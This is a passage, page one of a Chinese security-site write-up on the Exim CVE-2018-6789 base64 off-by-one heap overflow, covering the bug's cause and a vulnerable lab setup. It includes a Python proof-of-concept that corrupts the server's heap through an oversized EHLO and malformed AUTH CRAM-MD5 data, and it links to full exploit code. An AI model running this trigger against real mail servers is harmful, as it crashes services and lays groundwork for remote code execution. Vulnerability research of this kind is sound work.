欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Exim Off-by-One RCE漏洞(CVE-2018-6789)利用分析(附EXP)

来源:本站整理 作者:佚名 时间:2018-04-09 TAG: 我要投稿

声明:本文公开的方法和脚本仅供学习和研究使用,任何团队和个人不得使用本文披露的相关内容从事违法网络攻击活动,否则造成的一切后果由使用者本人承担,与本文作者无关。
2018年2月,流行的开源邮件服务器Exim曝出了堆溢出漏洞(CVE-2018-6789),几乎影响了4.90.1之前的所有版本。
该漏洞的发现者—台湾安全研究员Meh在博客上提供了利用该漏洞进行远程代码执行的思路,在推特中也表明了最终绕过各种缓解措施成功达成远程代码执行:
 

目前Meh并未公开该漏洞利用代码,华为未然实验室安全研究员skysider基于Meh的思路在实验环境下成功实现了远程命令执行,相关的漏洞环境和利用代码请访问:https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
1. 漏洞成因
漏洞的成因是b64decode函数在对不规范的base64编码过的数据进行解码时可能会溢出堆上的一个字节,比较经典的off-by-one漏洞。
存在漏洞的b64decode函数部分代码如下:
b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
*ptr = result;
/* Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */
 ......
}
这段代码解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节,但是当最后余3个字节(即len(code)=4n+3)时,会解码成2个字节,解码后的总长度为 3n+2 字节,而分配的堆空间的大小为3n+1 ,因此就会发生堆溢出。当然,官方给出的修补方案也很简单,多分配几个字节就可以了。
2. 环境搭建
Meh博客中漏洞测试的exim版本是直接通过apt安装的,但是由于debian官方已经修复了仓库中exim的漏洞,可以通过查看软件包源码的patch信息确认:
root@skysider:~/poc/exim4-4.86.2# apt-get source exim4
......
dpkg-source: info: applying 93_CVE-2017-1000368.patch
dpkg-source: info: applying fix_smtp_banner.patch
dpkg-source: info: applying CVE-2016-9963.patch
dpkg-source: info: applying CVE-2018-6789.patch
我们选择下载早期版本的源代码进行编译安装:
sudo apt-get build-dep exim4
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz
在编译过程中要安装一些依赖库,还需要修改Makefile、新建用户、配置日志文件的权限等,可以参考Dockerfile 的安装过程。
exim可以在运行时指定配置文件,为了触发漏洞以及命令执行,需要配置CRAM-MD5 authenticator以及设置acl_smtp_mail等,配置文件如下:
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif
  accept
acl_check_data:
  accept
begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1
以调试模式启动exim服务:
exim -bd -d-receive -C conf.conf
也可以直接使用docker来验证该漏洞(上面的命令为默认启动命令):
docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
3. 漏洞测试
我们使用一个简单的poc来触发漏洞,poc代码如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
from base64 import b64encode
print "this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators"
ip_address = raw_input("input ip address: ")
s = smtplib.SMTP(ip_address)
#s.set_debuglevel(1)
# 1. put a huge chunk into unsorted bin
s.ehlo("mmmm"+"b"*0x1500) # 0x2020
# 2. send base64 data and trigger off-by-one
#raw_input("overwrite one byte of next chunk")
s.docmd("AUTH CRAM-MD5")
payload = "d"*(0x2008-1)
try:
s.docmd(b64encode(payload)+b64encode('\xf1\xf1')[:-1])
s.quit()
except smtplib.SMTPServerDisconnected:
print "[!] exim server seems to be vulnerable to CVE-2018-6789."
当执行这段代码时,会触发内存错误
 

在这个过程中,堆的主要变化如下:
 

我们可以去观察错误之前的堆,attach到子进程,下图是发送ehlo消息之后的堆:
 

发送Auth数据之后,我们可以看一下执行完b64decode函数之后的堆:
 

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载